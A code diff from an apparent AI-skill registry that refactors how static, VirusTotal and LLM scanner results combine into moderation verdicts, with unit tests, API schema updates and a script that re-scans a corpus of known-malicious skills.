if (digestQuery) return digestQuery
if (table === 'skillVersions') {
return {
withIndex: () => ({
unique: async () => version,
}),
}
}
throw new Error(`unexpected table ${table}`)
}),
patch,
insert: vi.fn(),
normalizeId: vi.fn(),
}
await escalateByVtHandler(
{ db, scheduler: { runAfter: vi.fn() } } as never,
{
sha256hash: 'h'.repeat(64),
status: 'suspicious',
} as never,
)
expect(patch).toHaveBeenCalledWith(
'skills:1',
expect.objectContaining({
moderationVerdict: 'clean',
moderationFlags: undefined,
moderationReason: 'scanner.aggregate.clean',
isSuspicious: false,
}),
)
})
it('vt suspicious escalation keeps clean flags when vt is the only contributing family', async () => {
const patch = vi.fn(async () => {})
const version = {
_id: 'skillVersions:1',
skillId: 'skills:1',
staticScan: undefined,
vtAnalysis: {
status: 'suspicious',
source: 'engines',
checkedAt: Date.now(),
},
llmAnalysis: undefined,
}
const skill = {
_id: 'skills:1',
slug: 'single-family-vt',
ownerUserId: 'users:owner',
moderationFlags: undefined,
moderationReason: 'scanner.vt.pending',
moderationStatus: 'active',
}
const owner = {
_id: 'users:owner',
role: 'user',
deletedAt: undefined,
}
const db = {
get: vi.fn(async (id: string) => {
if (id === 'skills:1') return skill
if (id === 'users:owner') return owner
return null
}),
query: vi.fn((table: string) => {
const globalStatsQuery = buildGlobalStatsQuery(table)
if (globalStatsQuery) return globalStatsQuery
const digestQuery = buildDigestQuery(table)
if (digestQuery) return digestQuery
if (table === 'skillVersions') {
return {
withIndex: () => ({
unique: async () => version,
}),
}
}
throw new Error(`unexpected table ${table}`)
}),
patch,
insert: vi.fn(),
normalizeId: vi.fn(),
}
await escalateByVtHandler(
{ db, scheduler: { runAfter: vi.fn() } } as never,
{
sha256hash: 'i'.repeat(64),
status: 'suspicious',
} as never,
)
expect(patch).toHaveBeenCalledWith(
'skills:1',
expect.objectContaining({
moderationVerdict: 'clean',
moderationFlags: undefined,
isSuspicious: false,
}),
)
})
it('rebuilds structured moderation state for legacy skillId escalation', async () => {
const patch = vi.fn(async () => {})
const version = {
@@ -1207,6 +1375,152 @@ describe('skills anti-spam guards', () => {
)
})
it('legacy skillId escalation honors a forced clean scanner status over stale verdict payloads', async () => {
const patch = vi.fn(async () => {})
const version = {
_id: 'skillVersions:1',
skillId: 'skills:1',
staticScan: undefined,
vtAnalysis: {
status: 'suspicious',
verdict: 'malicious',
source: 'engines',
checkedAt: Date.now(),
},
llmAnalysis: undefined,
}
const skill = {
_id: 'skills:1',
slug: 'legacy-cleanup',
ownerUserId: 'users:owner',
latestVersionId: 'skillVersions:1',
moderationFlags: ['blocked.malware'],
moderationReason: 'scanner.vt.malicious',
moderationStatus: 'hidden',
}
const owner = {
_id: 'users:owner',
role: 'user',
_creationTime: Date.now() - 60 * 24 * 60 * 60 * 1000,
createdAt: Date.now() - 60 * 24 * 60 * 60 * 1000,
deletedAt: undefined,
}
const db = {
get: vi.fn(async (id: string) => {
if (id === 'skills:1') return skill
if (id === 'skillVersions:1') return version
if (id === 'users:owner') return owner
return null
}),
query: vi.fn((table: string) => {
const globalStatsQuery = buildGlobalStatsQuery(table)
if (globalStatsQuery) return globalStatsQuery
throw new Error(`unexpected table ${table}`)
}),
patch,
insert: vi.fn(),
normalizeId: vi.fn(),
}
await escalateSkillByIdHandler(
{ db } as never,
{
skillId: 'skills:1',
moderationReason: 'scanner.vt.clean',
moderationFlags: [],
moderationStatus: 'active',
} as never,
)
expect(patch).toHaveBeenNthCalledWith(
1,
'skills:1',
expect.objectContaining({
moderationStatus: 'active',
moderationReason: 'scanner.vt.clean',
moderationFlags: undefined,
moderationVerdict: 'clean',
moderationReasonCodes: undefined,
}),
)
})
it('vt-only escalation keeps flags aligned with the Phase 2 aggregate verdict', async () => {
const patch = vi.fn(async () => {})
const version = {
_id: 'skillVersions:1',
skillId: 'skills:1',
staticScan: undefined,
vtAnalysis: {
status: 'clean',
source: 'engines',
checkedAt: Date.now(),
},
llmAnalysis: undefined,
sha256hash: 'a'.repeat(64),
}
const skill = {
_id: 'skills:1',
slug: 'vt-only-escalation',
ownerUserId: 'users:owner',
latestVersionId: 'skillVersions:1',
moderationFlags: undefined,
moderationReason: 'scanner.aggregate.clean',
moderationStatus: 'active',
}
const owner = {
_id: 'users:owner',
role: 'user',
_creationTime: Date.now() - 60 * 24 * 60 * 60 * 1000,
createdAt: Date.now() - 60 * 24 * 60 * 60 * 1000,
deletedAt: undefined,
}
const db = {
get: vi.fn(async (id: string) => {
if (id === 'skills:1') return skill
if (id === 'users:owner') return owner
return null
}),
query: vi.fn((table: string) => {
if (table === 'skillVersions') {
return {
withIndex: (name: string) => {
if (name !== 'by_sha256hash') {
throw new Error(`unexpected skillVersions index ${name}`)
}
return {
unique: async () => version,
}
},
}
}
throw new Error(`unexpected table ${table}`)
}),
patch,
normalizeId: vi.fn(),
}
await escalateByVtHandler(
{ db } as never,
{
sha256hash: 'a'.repeat(64),
status: 'suspicious',
} as never,
)
expect(patch).toHaveBeenCalledWith(
'skills:1',
expect.objectContaining({
moderationFlags: undefined,
moderationVerdict: 'clean',
moderationReason: 'scanner.aggregate.clean',
isSuspicious: false,
}),
)
})
it('bulk-clears suspicious flags/reasons for privileged owner skills', async () => {
const patch = vi.fn(async () => {})
const owner = {
+221 -103
View File
@@ -108,14 +108,15 @@ const USER_MODERATION_REASON = 'user.moderation'
function buildStructuredModerationPatch(params: {
staticScan?: Doc<'skillVersions'>['staticScan']
vtStatus?: string
llmStatus?: string
vtAnalysis?: Doc<'skillVersions'>['vtAnalysis']
llmAnalysis?: Doc<'skillVersions'>['llmAnalysis']
sourceVersionId?: Id<'skillVersions'>
}): Pick<
Doc<'skills'>,
| 'moderationVerdict'
| 'moderationReasonCodes'
| 'moderationEvidence'
| 'moderationSignals'
| 'moderationSummary'
| 'moderationEngineVersion'
| 'moderationEvaluatedAt'
@@ -123,8 +124,8 @@ function buildStructuredModerationPatch(params: {
> {
const snapshot = buildModerationSnapshot({
staticScan: params.staticScan,
vtStatus: params.vtStatus,
llmStatus: params.llmStatus,
vtAnalysis: params.vtAnalysis,
llmAnalysis: params.llmAnalysis,
sourceVersionId: params.sourceVersionId,
})
@@ -136,6 +137,8 @@ function buildStructuredModerationPatch(params: {
moderationEvidence: snapshot.evidence.length
? snapshot.evidence
: undefined,
moderationSignals:
Object.keys(snapshot.signals).length > 0 ? snapshot.signals : undefined,
moderationSummary: snapshot.summary,
moderationEngineVersion: snapshot.engineVersion,
moderationEvaluatedAt: snapshot.evaluatedAt,
@@ -172,8 +175,10 @@ function resolveScannerModerationReason(params: {
if (vtStatus === 'malicious') return 'scanner.vt.malicious'
if (llmStatus === 'malicious') return 'scanner.llm.malicious'
if (vtStatus === 'suspicious') return 'scanner.vt.suspicious'
if (llmStatus === 'suspicious') return 'scanner.llm.suspicious'
if (params.verdict === 'suspicious') {
if (vtStatus === 'suspicious') return 'scanner.vt.suspicious'
if (llmStatus === 'suspicious') return 'scanner.llm.suspicious'
}
if (
vtStatus === 'pending' ||
vtStatus === 'loading' ||
@@ -190,6 +195,58 @@ function resolveScannerModerationReason(params: {
return 'scanner.aggregate.clean'
}
function overrideVtAnalysisStatus(
vtAnalysis: Doc<'skillVersions'>['vtAnalysis'] | undefined,
status: string,
checkedAt: number,
): Doc<'skillVersions'>['vtAnalysis'] {
const normalizedStatus = status.trim().toLowerCase()
return {
status,
verdict:
normalizedStatus === 'malicious' || normalizedStatus === 'suspicious'
? normalizedStatus
: undefined,
analysis:
normalizedStatus === 'malicious' || normalizedStatus === 'suspicious'
? vtAnalysis?.analysis
: undefined,
source: vtAnalysis?.source,
checkedAt: vtAnalysis?.checkedAt ?? checkedAt,
}
}
function overrideLlmAnalysisStatus(
llmAnalysis: Doc<'skillVersions'>['llmAnalysis'] | undefined,
status: string,
checkedAt: number,
): Doc<'skillVersions'>['llmAnalysis'] {
const normalizedStatus = status.trim().toLowerCase()
return {
status,
verdict:
normalizedStatus === 'malicious' || normalizedStatus === 'suspicious'
? normalizedStatus
: undefined,
confidence:
normalizedStatus === 'malicious' || normalizedStatus === 'suspicious'
? llmAnalysis?.confidence
: undefined,
summary: llmAnalysis?.summary,
dimensions: llmAnalysis?.dimensions,
guidance:
normalizedStatus === 'malicious' || normalizedStatus === 'suspicious'
? llmAnalysis?.guidance
: undefined,
findings:
normalizedStatus === 'malicious' || normalizedStatus === 'suspicious'
? llmAnalysis?.findings
: undefined,
model: llmAnalysis?.model,
checkedAt: llmAnalysis?.checkedAt ?? checkedAt,
}
}
function buildScannerModerationPatchFromVersion(params: {
owner: Doc<'users'> | null | undefined
version: Pick<
@@ -200,8 +257,8 @@ function buildScannerModerationPatchFromVersion(params: {
}): SkillModerationPatch {
const structuredPatch = buildStructuredModerationPatch({
staticScan: params.version.staticScan,
vtStatus: params.version.vtAnalysis?.status,
llmStatus: params.version.llmAnalysis?.status,
vtAnalysis: params.version.vtAnalysis,
llmAnalysis: params.version.llmAnalysis,
sourceVersionId: params.version._id,
})
@@ -234,6 +291,7 @@ function buildScannerModerationPatchFromVersion(params: {
? moderationReasonCodes
: undefined,
moderationEvidence: structuredPatch.moderationEvidence,
moderationSignals: structuredPatch.moderationSignals,
moderationSummary: summarizeReasonCodes(moderationReasonCodes),
moderationEngineVersion: structuredPatch.moderationEngineVersion,
moderationEvaluatedAt: structuredPatch.moderationEvaluatedAt,
@@ -256,6 +314,7 @@ function buildPreservedSkillModerationPatch(
return {
moderationReasonCodes: skill.moderationReasonCodes,
moderationEvidence: skill.moderationEvidence,
moderationSignals: skill.moderationSignals,
moderationEngineVersion: skill.moderationEngineVersion,
moderationSourceVersionId: skill.moderationSourceVersionId,
}
@@ -638,6 +697,34 @@ function normalizeScannerSuspiciousReason(reason: string | undefined) {
return `${reason.slice(0, -'.suspicious'.length)}.clean`
}
function publicModerationSignals(params: {
isOwner: boolean
isMalwareBlocked: boolean
isSuspicious: boolean
signals: Doc<'skills'>['moderationSignals']
}) {
if (params.isOwner) return params.signals
if (params.isMalwareBlocked || params.isSuspicious) {
if (!params.signals) return undefined
return Object.fromEntries(
Object.entries(params.signals).flatMap(([key, signal]) =>
signal
? [
[
key,
{
...signal,
details: undefined,
},
],
]
: [],
),
) as Doc<'skills'>['moderationSignals']
}
return undefined
}
async function adjustGlobalPublicCountForSkillChange(
ctx: MutationCtx,
previousSkill: Doc<'skills'> | null | undefined,
@@ -1073,6 +1160,7 @@ type PublicSkillVersion = {
sha256hash?: string
vtAnalysis?: Doc<'skillVersions'>['vtAnalysis']
llmAnalysis?: Doc<'skillVersions'>['llmAnalysis']
moderationSignals?: Doc<'skillVersions'>['moderationSignals']
staticScan?: {
status: NonNullable<Doc<'skillVersions'>['staticScan']>['status']
reasonCodes: NonNullable<Doc<'skillVersions'>['staticScan']>['reasonCodes']
@@ -1254,6 +1342,7 @@ function toPublicSkillVersion(
sha256hash: version.sha256hash,
vtAnalysis: version.vtAnalysis,
llmAnalysis: version.llmAnalysis,
moderationSignals: version.moderationSignals,
staticScan: version.staticScan
? {
status: version.staticScan.status,
@@ -1495,6 +1584,12 @@ export const getBySlug = query({
overrideActive,
verdict: skill.moderationVerdict,
reasonCodes: skill.moderationReasonCodes,
signals: publicModerationSignals({
isOwner,
isMalwareBlocked,
isSuspicious,
signals: skill.moderationSignals,
}),
summary: publicModerationSummary,
engineVersion: skill.moderationEngineVersion,
updatedAt: skill.moderationEvaluatedAt,
@@ -3500,10 +3595,10 @@ export const escalateSkillByIdInternal = internalMutation({
if (!skill) return
const now = Date.now()
const owner = skill.ownerUserId ? await ctx.db.get(skill.ownerUserId) : null
const version = skill.latestVersionId
? await ctx.db.get(skill.latestVersionId)
: null
const owner = skill.ownerUserId ? await ctx.db.get(skill.ownerUserId) : null
const normalizedReason = args.moderationReason.trim().toLowerCase()
const reasonMatch = /^scanner\.(vt|llm)\.([^.]+)$/.exec(normalizedReason)
const vtStatus =
@@ -3516,8 +3611,22 @@ export const escalateSkillByIdInternal = internalMutation({
: version?.llmAnalysis?.status
const snapshot = buildModerationSnapshot({
staticScan: version?.staticScan,
vtStatus,
llmStatus,
vtAnalysis:
reasonMatch?.[1] === 'vt'
? overrideVtAnalysisStatus(
version?.vtAnalysis,
vtStatus ?? version?.vtAnalysis?.status ?? 'pending',
now,
)
: version?.vtAnalysis,
llmAnalysis:
reasonMatch?.[1] === 'llm'
? overrideLlmAnalysisStatus(
version?.llmAnalysis,
llmStatus ?? version?.llmAnalysis?.status ?? 'pending',
now,
)
: version?.llmAnalysis,
sourceVersionId: version?._id,
})
const sourceReasonCodes = snapshot.reasonCodes
@@ -3551,6 +3660,8 @@ export const escalateSkillByIdInternal = internalMutation({
moderationEvidence: snapshot.evidence.length
? snapshot.evidence
: undefined,
moderationSignals:
Object.keys(snapshot.signals).length > 0 ? snapshot.signals : undefined,
moderationSummary: summarizeReasonCodes(moderationReasonCodes),
moderationEngineVersion: snapshot.engineVersion,
moderationEvaluatedAt: snapshot.evaluatedAt,
@@ -4042,6 +4153,18 @@ export const updateVersionScanResultsInternal = internalMutation({
patch.vtAnalysis = args.vtAnalysis
}
const nextVersion = { ...version, ...patch }
const moderationSnapshot = buildModerationSnapshot({
staticScan: nextVersion.staticScan,
vtAnalysis: nextVersion.vtAnalysis,
llmAnalysis: nextVersion.llmAnalysis,
sourceVersionId: nextVersion._id,
})
patch.moderationSignals =
Object.keys(moderationSnapshot.signals).length > 0
? moderationSnapshot.signals
: undefined
if (Object.keys(patch).length > 0) {
await ctx.db.patch(args.versionId, patch)
}
@@ -4076,7 +4199,19 @@ export const updateVersionLlmAnalysisInternal = internalMutation({
const version = await ctx.db.get(args.versionId)
if (!version) return
const nextVersion = { ...version, llmAnalysis: args.llmAnalysis }
await ctx.db.patch(args.versionId, { llmAnalysis: args.llmAnalysis })
const moderationSnapshot = buildModerationSnapshot({
staticScan: nextVersion.staticScan,
vtAnalysis: nextVersion.vtAnalysis,
llmAnalysis: nextVersion.llmAnalysis,
sourceVersionId: nextVersion._id,
})
await ctx.db.patch(args.versionId, {
llmAnalysis: args.llmAnalysis,
moderationSignals:
Object.keys(moderationSnapshot.signals).length > 0
? moderationSnapshot.signals
: undefined,
})
const skill = await ctx.db.get(version.skillId)
if (!skill || skill.latestVersionId !== version._id) return
@@ -4108,50 +4243,9 @@ export const approveSkillByHashInternal = internalMutation({
? await ctx.db.get(skill.ownerUserId)
: null
const isMalicious = args.status === 'malicious'
const isSuspicious = args.status === 'suspicious'
const isClean = !isMalicious && !isSuspicious
// Defense-in-depth: read existing flags to merge scanner results.
// The stricter verdict always wins across scanners.
const existingFlags: string[] =
(skill.moderationFlags as string[] | undefined) ?? []
const existingReason: string | undefined = skill.moderationReason as
| string
| undefined
const alreadyBlocked = existingFlags.includes('blocked.malware')
const bypassSuspicious =
isSuspicious &&
!alreadyBlocked &&
isPrivilegedOwnerForSuspiciousBypass(owner)
// Determine new flags based on multi-scanner merge
let newFlags: string[] | undefined
if (isMalicious || alreadyBlocked) {
// Malicious from ANY scanner → blocked.malware (upgrade from suspicious)
newFlags = ['blocked.malware']
} else if (isSuspicious && !bypassSuspicious) {
// Suspicious from this scanner → flagged.suspicious
newFlags = ['flagged.suspicious']
} else if (isClean) {
// Clean from this scanner — only clear if no other scanner has flagged
const otherScannerFlagged =
existingReason?.startsWith('scanner.') &&
!existingReason.startsWith(`scanner.${args.scanner}.`) &&
!existingReason.endsWith('.clean') &&
!existingReason.endsWith('.pending')
newFlags = otherScannerFlagged ? existingFlags : undefined
}
if (!alreadyBlocked && isPrivilegedOwnerForSuspiciousBypass(owner)) {
newFlags = stripSuspiciousFlag(newFlags ?? existingFlags)
}
const now = Date.now()
const qualityLocked = skill.moderationReason === 'quality.low' && !isMalicious
const nextModerationReason = qualityLocked
? 'quality.low'
: bypassSuspicious
? `scanner.${args.scanner}.clean`
: `scanner.${args.scanner}.${args.status}`
const nextModerationNotes = qualityLocked
? (skill.moderationNotes ??
'Quality gate quarantine is still active. Manual moderation review required.')
@@ -4159,42 +4253,59 @@ export const approveSkillByHashInternal = internalMutation({
const scanner = args.scanner.trim().toLowerCase()
const snapshot = buildModerationSnapshot({
staticScan: version.staticScan,
vtStatus: scanner === 'vt' ? args.status : version.vtAnalysis?.status,
llmStatus:
scanner === 'llm' ? args.status : version.llmAnalysis?.status,
vtAnalysis:
scanner === 'vt'
? overrideVtAnalysisStatus(version.vtAnalysis, args.status, now)
: version.vtAnalysis,
llmAnalysis:
scanner === 'llm'
? overrideLlmAnalysisStatus(version.llmAnalysis, args.status, now)
: version.llmAnalysis,
sourceVersionId: version._id,
})
const nextReasonCodes =
bypassSuspicious && !isMalicious
? snapshot.reasonCodes.filter(
(code) => !code.startsWith('suspicious.'),
)
: snapshot.reasonCodes
const nextReasonCodes = snapshot.reasonCodes
const nextVerdict = verdictFromCodes(nextReasonCodes)
const nextLegacyFlags = legacyFlagsFromVerdict(nextVerdict)
const sourceReason = resolveScannerModerationReason({
vtStatus: scanner === 'vt' ? args.status : version.vtAnalysis?.status,
llmStatus: scanner === 'llm' ? args.status : version.llmAnalysis?.status,
verdict: nextVerdict,
})
const bypassSuspicious =
nextVerdict === 'suspicious' &&
isPrivilegedOwnerForSuspiciousBypass(owner)
const effectiveReasonCodes = bypassSuspicious
? nextReasonCodes.filter((code) => !code.startsWith('suspicious.'))
: nextReasonCodes
const effectiveVerdict = verdictFromCodes(effectiveReasonCodes)
const effectiveLegacyFlags = legacyFlagsFromVerdict(effectiveVerdict)
const nextModerationReason = qualityLocked
? 'quality.low'
: bypassSuspicious
? normalizeScannerSuspiciousReason(sourceReason)
: sourceReason
const nextModerationStatus =
nextVerdict === 'malicious' || qualityLocked ? 'hidden' : 'active'
effectiveVerdict === 'malicious' || qualityLocked ? 'hidden' : 'active'
const basePatch: SkillModerationPatch = {
moderationStatus: nextModerationStatus,
moderationReason: nextModerationReason,
moderationFlags: newFlags ?? nextLegacyFlags,
moderationVerdict: nextVerdict,
moderationReasonCodes: nextReasonCodes.length
? nextReasonCodes
moderationFlags: effectiveLegacyFlags,
moderationVerdict: effectiveVerdict,
moderationReasonCodes: effectiveReasonCodes.length
? effectiveReasonCodes
: undefined,
moderationEvidence: snapshot.evidence.length
? snapshot.evidence
: undefined,
moderationSummary: summarizeReasonCodes(nextReasonCodes),
moderationSignals:
Object.keys(snapshot.signals).length > 0 ? snapshot.signals : undefined,
moderationSummary: summarizeReasonCodes(effectiveReasonCodes),
moderationEngineVersion: snapshot.engineVersion,
moderationEvaluatedAt: snapshot.evaluatedAt,
moderationSourceVersionId: version._id,
moderationNotes: nextModerationNotes,
isSuspicious: computeIsSuspicious({
moderationFlags: (newFlags ?? nextLegacyFlags) as
| string[]
| undefined,
moderationFlags: effectiveLegacyFlags as string[] | undefined,
moderationReason: nextModerationReason,
}),
hiddenAt: nextModerationStatus === 'hidden' ? now : undefined,
@@ -4250,48 +4361,42 @@ export const escalateByVtInternal = internalMutation({
if (!skill) return
const isMalicious = args.status === 'malicious'
const existingFlags: string[] =
(skill.moderationFlags as string[] | undefined) ?? []
const alreadyBlocked = existingFlags.includes('blocked.malware')
const owner = skill.ownerUserId ? await ctx.db.get(skill.ownerUserId) : null
const bypassSuspicious =
!isMalicious &&
!alreadyBlocked &&
isPrivilegedOwnerForSuspiciousBypass(owner)
// Determine new flags — stricter verdict always wins
let newFlags: string[]
if (isMalicious || alreadyBlocked) {
newFlags = ['blocked.malware']
} else if (bypassSuspicious) {
newFlags = stripSuspiciousFlag(existingFlags) ?? []
} else {
newFlags = ['flagged.suspicious']
}
const nextModerationFlags = newFlags.length ? newFlags : undefined
const snapshot = buildModerationSnapshot({
staticScan: version.staticScan,
vtStatus: args.status,
llmStatus: version.llmAnalysis?.status,
vtAnalysis: overrideVtAnalysisStatus(version.vtAnalysis, args.status, Date.now()),
llmAnalysis: version.llmAnalysis,
sourceVersionId: version._id,
})
const nextReasonCodes =
bypassSuspicious && !isMalicious
? snapshot.reasonCodes.filter((code) => !code.startsWith('suspicious.'))
: snapshot.reasonCodes
const nextReasonCodes = snapshot.reasonCodes
const nextVerdict = verdictFromCodes(nextReasonCodes)
const bypassSuspicious =
nextVerdict === 'suspicious' &&
isPrivilegedOwnerForSuspiciousBypass(owner)
const effectiveReasonCodes = bypassSuspicious
? nextReasonCodes.filter((code) => !code.startsWith('suspicious.'))
: nextReasonCodes
const effectiveVerdict = verdictFromCodes(effectiveReasonCodes)
const effectiveLegacyFlags = legacyFlagsFromVerdict(effectiveVerdict)
const now = Date.now()
const basePatch: SkillModerationPatch = {
moderationFlags: nextModerationFlags,
moderationVerdict: nextVerdict,
moderationReasonCodes: nextReasonCodes.length
? nextReasonCodes
moderationFlags: effectiveLegacyFlags,
moderationReason: resolveScannerModerationReason({
vtStatus: args.status,
llmStatus: version.llmAnalysis?.status,
verdict: effectiveVerdict,
}),
moderationVerdict: effectiveVerdict,
moderationReasonCodes: effectiveReasonCodes.length
? effectiveReasonCodes
: undefined,
moderationEvidence: snapshot.evidence.length
? snapshot.evidence
: undefined,
moderationSummary: summarizeReasonCodes(nextReasonCodes),
moderationSignals:
Object.keys(snapshot.signals).length > 0 ? snapshot.signals : undefined,
moderationSummary: summarizeReasonCodes(effectiveReasonCodes),
moderationEngineVersion: snapshot.engineVersion,
moderationEvaluatedAt: snapshot.evaluatedAt,
moderationSourceVersionId: version._id,
@@ -4302,14 +4407,13 @@ export const escalateByVtInternal = internalMutation({
skill.moderationReason as string | undefined,
)
}
// Only hide for malicious — suspicious stays visible with a flag
if (isMalicious) {
basePatch.moderationStatus = 'hidden'
}
basePatch.isSuspicious = computeIsSuspicious({
moderationFlags: nextModerationFlags,
moderationFlags: (basePatch.moderationFlags ?? undefined) as string[] | undefined,
moderationReason: (basePatch.moderationReason ??
skill.moderationReason) as string | undefined,
})
@@ -5871,6 +5975,10 @@ export const insertVersion = internalMutation({
moderationEvidence: staticSnapshot.evidence.length
? staticSnapshot.evidence
: undefined,
moderationSignals:
Object.keys(staticSnapshot.signals).length > 0
? staticSnapshot.signals
: undefined,
moderationSummary: staticSnapshot.summary,
moderationEngineVersion: staticSnapshot.engineVersion,
moderationEvaluatedAt: staticSnapshot.evaluatedAt,
@@ -5927,6 +6035,10 @@ export const insertVersion = internalMutation({
files: args.files,
parsed: args.parsed,
staticScan: args.staticScan,
moderationSignals:
Object.keys(staticSnapshot.signals).length > 0
? staticSnapshot.signals
: undefined,
createdBy: userId,
createdAt: now,
softDeletedAt: undefined,
@@ -5955,6 +6067,8 @@ export const insertVersion = internalMutation({
})
const moderationSnapshot = buildModerationSnapshot({
staticScan: args.staticScan,
vtAnalysis: undefined,
llmAnalysis: undefined,
sourceVersionId: versionId,
})
const nextFlags = Array.from(
@@ -5987,6 +6101,10 @@ export const insertVersion = internalMutation({
moderationEvidence: moderationSnapshot.evidence.length
? moderationSnapshot.evidence
: undefined,
moderationSignals:
Object.keys(moderationSnapshot.signals).length > 0
? moderationSnapshot.signals
: undefined,
moderationSummary: moderationSnapshot.summary,
moderationEngineVersion: moderationSnapshot.engineVersion,
moderationEvaluatedAt: moderationSnapshot.evaluatedAt,
+1
View File
@@ -22,6 +22,7 @@
"test:e2e": "vitest run -c vitest.e2e.config.ts",
"test:e2e:prod-http": "vitest run -c vitest.e2e.config.ts e2e/prod-http-smoke.e2e.test.ts",
"test:e2e:local": "bash scripts/run-playwright-local.sh",
"test:security:malicious-corpus": "bun scripts/run-malicious-corpus.ts",
"test:pw": "playwright test",
"test:watch": "vitest",
"verify:convex-contract": "bun scripts/verify-convex-contract.ts"
+3
View File
@@ -193,6 +193,7 @@ export const ApiV1SkillResponseSchema = type({
isMalwareBlocked: 'boolean',
verdict: '"clean"|"suspicious"|"malicious"?',
reasonCodes: 'string[]?',
signals: 'unknown|null?',
updatedAt: 'number|null?',
engineVersion: 'string|null?',
summary: 'string|null?',
@@ -207,6 +208,7 @@ export const ApiV1SkillModerationResponseSchema = type({
isMalwareBlocked: 'boolean',
verdict: '"clean"|"suspicious"|"malicious"',
reasonCodes: 'string[]',
signals: 'unknown|null?',
updatedAt: 'number|null?',
engineVersion: 'string|null?',
summary: 'string|null?',
@@ -240,6 +242,7 @@ export const ApiV1SkillVersionResponseSchema = type({
changelogSource: '"auto"|"user"|null?',
license: '"MIT-0"|null?',
files: 'unknown?',
security: 'unknown?',
}).or('null'),
skill: type({
slug: 'string',
+3
View File
@@ -205,6 +205,7 @@ export const ApiV1SkillResponseSchema = type({
isMalwareBlocked: 'boolean',
verdict: '"clean"|"suspicious"|"malicious"?',
reasonCodes: 'string[]?',
signals: 'unknown|null?',
updatedAt: 'number|null?',
engineVersion: 'string|null?',
summary: 'string|null?',
@@ -219,6 +220,7 @@ export const ApiV1SkillModerationResponseSchema = type({
isMalwareBlocked: 'boolean',
verdict: '"clean"|"suspicious"|"malicious"',
reasonCodes: 'string[]',
signals: 'unknown|null?',
updatedAt: 'number|null?',
engineVersion: 'string|null?',
summary: 'string|null?',
@@ -249,6 +251,7 @@ export const SecurityStatusSchema = type({
hasWarnings: 'boolean',
checkedAt: 'number|null',
model: 'string|null',
signals: 'unknown|null?',
})
export const ApiV1SkillVersionResponseSchema = type({
+309
View File
@@ -0,0 +1,309 @@
import { mkdirSync, writeFileSync } from 'node:fs'
import { dirname, resolve } from 'node:path'
import { spawnSync } from 'node:child_process'
import {
DEFAULT_MALICIOUS_ADMIN_PREFIX,
DEFAULT_MALICIOUS_USER_PREFIX,
resolveMaliciousCorpusCases,
type MaliciousCorpusCase,
} from '../convex/lib/moderationTestingMaliciousCorpus'
type CliOptions = {
caseIds?: string[]
includeAdminVariants: boolean
skipScans: boolean
timeoutMs: number
pollIntervalMs: number
userPrefix: string
adminPrefix: string
outputPath: string
}
type ProdSkillResponse = {
skill?: {
displayName?: string
} | null
latestVersion?: {
_id: string
version: string
changelog?: string | null
files: Array<{
path: string
contentType?: string | null
}>
} | null
}
type FileTextResponse = {
path: string
text: string
}
type ReportItem = {
caseId: string
sourceSlug: string
targetSlug: string
ownerRole: 'admin' | 'moderator' | 'user'
moderationVerdict: 'clean' | 'suspicious' | 'malicious' | null
moderationSignals: Record<string, unknown> | null
staticScan: Record<string, unknown> | null
vtAnalysis: Record<string, unknown> | null
llmAnalysis: Record<string, unknown> | null
}
function parseArgs(argv: string[]): CliOptions {
const options: CliOptions = {
includeAdminVariants: true,
skipScans: false,
timeoutMs: 10 * 60 * 1000,
pollIntervalMs: 10_000,
userPrefix: DEFAULT_MALICIOUS_USER_PREFIX,
adminPrefix: DEFAULT_MALICIOUS_ADMIN_PREFIX,
outputPath: '/tmp/clawhub-malicious-corpus-report.json',
}
for (let i = 0; i < argv.length; i++) {
const arg = argv[i]
if (arg === '--case' || arg === '--cases') {
const value = argv[++i]
if (!value) throw new Error(`${arg} requires a value`)
options.caseIds = value.split(',').map((entry) => entry.trim()).filter(Boolean)
continue
}
if (arg === '--no-admin') {
options.includeAdminVariants = false
continue
}
if (arg === '--skip-scans') {
options.skipScans = true
continue
}
if (arg === '--timeout-ms') {
const value = Number(argv[++i])
if (!Number.isFinite(value) || value <= 0) throw new Error('--timeout-ms must be > 0')
options.timeoutMs = value
continue
}
if (arg === '--poll-interval-ms') {
const value = Number(argv[++i])
if (!Number.isFinite(value) || value <= 0) {
throw new Error('--poll-interval-ms must be > 0')
}
options.pollIntervalMs = value
continue
}
if (arg === '--user-prefix') {
const value = argv[++i]?.trim().toLowerCase()
if (!value) throw new Error('--user-prefix requires a value')
options.userPrefix = value
continue
}
if (arg === '--admin-prefix') {
const value = argv[++i]?.trim().toLowerCase()
if (!value) throw new Error('--admin-prefix requires a value')
options.adminPrefix = value
continue
}
if (arg === '--output') {
const value = argv[++i]?.trim()
if (!value) throw new Error('--output requires a value')
options.outputPath = value
continue
}
throw new Error(`Unknown argument: ${arg}`)
}
return options
}
function runConvexJson<T>(args: string[]): T {
const result = spawnSync('bun', ['x', 'convex', 'run', ...args], {
encoding: 'utf8',
cwd: process.cwd(),
})
if (result.status !== 0) {
process.stderr.write(result.stderr || result.stdout)
process.exit(result.status ?? 1)
}
return JSON.parse(result.stdout) as T
}
function fetchProdSkillBundle(entry: MaliciousCorpusCase) {
const prodSkill = runConvexJson<ProdSkillResponse>([
'skills:getBySlug',
'--prod',
JSON.stringify({ slug: entry.sourceSlug }),
])
if (!prodSkill.latestVersion) {
throw new Error(`Missing latestVersion for prod skill ${entry.sourceSlug}`)
}
const files = prodSkill.latestVersion.files.map((file) => {
const fileText = runConvexJson<FileTextResponse>([
'skills:getFileText',
'--prod',
JSON.stringify({
versionId: prodSkill.latestVersion?._id,
path: file.path,
}),
])
return {
path: file.path,
contentType: file.contentType ?? 'text/plain; charset=utf-8',
base64: Buffer.from(fileText.text, 'utf8').toString('base64'),
}
})
return {
caseId: entry.caseId,
sourceSlug: entry.sourceSlug,
sourceVersion: prodSkill.latestVersion.version,
sourceDisplayName: prodSkill.skill?.displayName?.trim() || entry.sourceSlug,
sourceChangelog:
prodSkill.latestVersion.changelog?.trim() || 'Imported from production bundle for moderation testing',
files,
}
}
function fetchMaliciousReport(options: CliOptions) {
return runConvexJson<ReportItem[]>([
'moderationTesting:getMaliciousCorpusReportInternal',
JSON.stringify({
caseIds: options.caseIds,
includeAdminVariants: options.includeAdminVariants,
userPrefix: options.userPrefix,
adminPrefix: options.adminPrefix,
}),
])
}
function pollVirusTotalQueue(batchSize: number) {
return runConvexJson<{ processed: number; updated: number }>([
'vt:pollPendingScans',
JSON.stringify({ batchSize }),
])
}
function scansComplete(report: ReportItem[]) {
return report.every((entry) => Boolean(entry.staticScan && entry.vtAnalysis && entry.llmAnalysis))
}
function assertMaliciousVerdicts(report: ReportItem[], cases: MaliciousCorpusCase[]) {
